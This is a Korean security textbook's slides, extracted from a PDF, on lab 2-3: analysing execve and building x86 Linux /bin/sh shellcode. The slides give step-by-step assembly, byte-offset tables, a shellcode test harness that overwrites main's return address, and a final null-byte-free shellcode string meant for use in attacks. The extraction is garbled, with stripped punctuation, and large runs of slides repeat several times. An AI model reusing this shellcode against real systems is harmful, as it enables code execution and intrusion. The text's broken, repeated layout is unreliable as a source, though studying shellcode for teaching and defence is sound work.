셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 88: 80×86  시스템에 대한 이해

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 89: 80×86  시스템에 대한 이해

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 90: 80×86  시스템에 대한 이해

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

